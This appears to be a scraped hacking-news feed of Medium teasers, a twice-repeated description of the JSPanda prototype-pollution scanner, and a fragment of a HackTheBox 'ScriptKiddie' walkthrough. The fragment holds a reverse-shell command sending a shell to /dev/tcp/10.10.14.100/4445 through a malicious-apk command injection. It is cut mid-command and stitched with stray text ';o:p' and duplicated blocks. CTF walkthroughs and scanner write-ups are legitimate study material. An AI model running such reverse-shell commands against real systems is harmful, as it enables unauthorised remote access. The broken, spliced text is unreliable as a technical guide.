Hacking on Medium
MY FIRST BLOG! AND ABOUT ME!

https://cdn-images-1.medium.com/max/600/1*ZbWeKVpm9uks7m-ljavrRg.jpeg
Hello everyone:)!!Hope are all doing good and having fun. A few weeks ago i thought of writing blogs on cyber security, yes you heard it…

Continue reading on Medium »
➖ Sent by @TheFeedReaderBot ➖

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Best Ethical Hacking Online Institue In India

https://cdn-images-1.medium.com/max/1080/1*W2hhIiYUp6OCUorCi28LsA.jpeg
Best Ethical Hacking Course in India

Continue reading on Medium »
➖ Sent by @TheFeedReaderBot ➖

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
HackTheBox — Validation

https://cdn-images-1.medium.com/max/1180/1*QhgSL8oGQ8Q1r0LE8EcXyw.png
As always, we start with nmap to discover open ports/services.

Continue reading on Medium »
➖ Sent by @TheFeedReaderBot ➖

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Bug Bounty en Software Libre

https://cdn-images-1.medium.com/max/1153/0*pu9MidpmuWL3F6UZ
PUBLICADO EN 23 SEPTIEMBRE, 2021POR EHACKING

Continue reading on Medium »
➖ Sent by @TheFeedReaderBot ➖

___________________________
@hacking_Attack
@Hacking_Video

JSPanda - Client-Side Prototype Pullution Vulnerability Scanner
http://www.kitploit.com/2021/09/jspanda-client-side-prototype-pullution.html

___________________________
@hacking_Attack
@Hacking_Video

JSpanda is client-side prototype pollution vulnerability (https://www.kitploit.com/search/label/Vulnerability) scanner. It has two key features, scanning vulnerability the supplied URLs and analyzing the JavaScript libraries' source code. However, JSpanda cannot detect advanced prototype pollution vulnerabilities.
How JSPanda works?
Uses multiple payloads for prototype pollution vulnerability. Gathers all the links in the targets for scanning and add payloads to JSpanda-obtained URLs, navigates to each URL with headless Chromedriver. Scans all words in the source code of potentially vulnerable JavaScript library and it creates a simple JS PoC by finding the script gadget, helping you analyze the code manually.
Requirements
Download latest version of Google Chrome and Chromedriver Selenium
Usage
Scan: python3.7 jspanda.py Add URLs to url.txt file, for instance : example.com Basic Source Code Analysis (https://www.kitploit.com/search/label/Source%20Code%20Analysis) : python3.7 analyze.py Add a JavaScript library's source code to analyze.js Generate PoC code using analyze.py Execute PoC code on Chrome's console. It pollutes all the words collected from the source code and show it on the screen. So it may generate false positive results. These outputs provide additional information to researchers, do not automate everything.
Demonstration

___________________________
@hacking_Attack
@Hacking_Video

Source code analysis (https://www.kitploit.com/search/label/Code%20Analysis) - Screenshot

___________________________
@hacking_Attack
@Hacking_Video

Supporting Materials : https://twitter.com/har1sec/status/1314469278322655233 https://github.com/BlackFan/client-side-prototype-pollution https://github.com/ThePacketBender/notes/blob/01c0b834f6e3ee4d934b087b2d92c9e484dc2a50/web/prototype_pollution.txt https://habr.com/ru/company/huawei/blog/547178/ https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2 https://github.com/securitum/research/tree/master/r2020_prototype-pollution Learn (https://attacker-codeninja.github.io/2021-07-05-Learn-Prototype-Pollution-Part-2/)Prototype Pollution (https://www.kitploit.com/search/label/Prototype%20Pollution) in Series - Part 2 dwisiswant0/ppfuzz (https://github.com/dwisiswant0/ppfuzz) GitHub - raverrr/plution: Prototype pollution scanner using headless chrome (https://github.com/raverrr/plution) JavaScript Prototype Poisoning Vulnerabilities in the Wild (https://medium.com/intrinsic-blog/javascript-prototype-poisoning-vulnerabilities-in-the-wild-7bc15347c96) The Complete Guide to Prototype Pollution Vulnerabilities (https://www.whitesourcesoftware.com/resources/blog/prototype-pollution-vulnerabilities/)

Download Jspanda (https://github.com/RedSection/jspanda)

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles|Raj Chandel's Blog
Scriptkiddie HackTheBox Walkthrough

Script Kiddie is a CTF hosted on Hack the Box with Beginner categories. The objective for the participant is to identify the files user.txt and root.txt on the victim's system.

Penetration Methodlogies · NmapExploit· Generating apkPost Enumeration· Capture User.txtPrivilege Escalation· Abusing Sudo RightReconHTB labs are online and it has a static IP of 10.129.95.150, thus let's start with nmap aggressive port.ExploitingI load msfconsole and run the following module for creating malicious apk while concurrently starting the netcat listener in another terminal use exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection& /dev/tcp/10.10.14.100/4445 0>&1' #" >> hackersAbusing Sudo RightAnd now we have access to the user pwn! Then we examined for sudo rights and discovered that the user had sudo permission for running the meatsploit framework as root. https://1.bp.blogspot.com/--qiSo1s4zbU/YUy2HISJw4I/AAAAAAAAypo/mXna93VIlsEGHG-o4hw2FkJqK7-XXdzZgCLcBGAsYHQ/s16000/50.png Let's see if we can get root access by abusing this permission.___________________________
@hacking_Attack
@Hacking_Video

;o:p

cd /root___________________________
@hacking_Attack
@Hacking_Video

JSPanda - Client-Side Prototype Pullution Vulnerability Scanner

JSpanda is client-side prototype pollution vulnerability scanner. It has two key features, scanning vulnerability the supplied URLs and analyzing the JavaScript libraries' source code. However, JSpanda cannot detect advanced prototype pollution vulnerabilities.How JSPanda works? Uses multiple payloads for prototype pollution vulnerability. Gathers all the links in the targets for scanning and add payloads to JSpanda-obtained URLs, navigates to each URL with headless Chromedriver. Scans all words in the source code of potentially vulnerable JavaScript library and it creates a simple JS PoC by finding the script gadget, helping you analyze the code manually. Requirements Download latest version of Google Chrome and Chromedriver Selenium Usage Scan: python3.7 jspanda.py Add URLs to url.txt file, for instance : example.com Basic Source Code Analysis : python3.7 analyze.py Add a JavaScript library's source code to analyze.js Generate PoC code using analyze.py Execute PoC code on Chrome's console. It pollutes all the words collected from the source code and show it on the screen. So it may generate false positive results. These outputs provide additional information to researchers, do not automate everything. Demonstration Source code analysis - Screenshot Supporting Materials : https://twitter.com/har1sec/status/1314469278322655233 https://github.com/BlackFan/client-side-prototype-pollution https://github.com/ThePacketBender/notes/blob/01c0b834f6e3ee4d934b087b2d92c9e484dc2a50/web/prototype_pollution.txt https://habr.com/ru/company/huawei/blog/547178/ https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2 https://github.com/securitum/research/tree/master/r2020_prototype-pollution Learn Prototype Pollution in Series - Part 2 dwisiswant0/ppfuzz GitHub - raverrr/plution: Prototype pollution scanner using headless chrome JavaScript Prototype Poisoning Vulnerabilities in the Wild The Complete Guide to Prototype Pollution Vulnerabilities Download Jspanda
Read more...

___________________________
@hacking_Attack
@Hacking_Video

Bug Bounty en Software Libre
https://ehcgroup.medium.com/bug-bounty-en-software-libre-919a7fe31c44?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

PUBLICADO EN 23 SEPTIEMBRE, 2021POR EHACKINGContinue reading on Medium » (https://ehcgroup.medium.com/bug-bounty-en-software-libre-919a7fe31c44?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video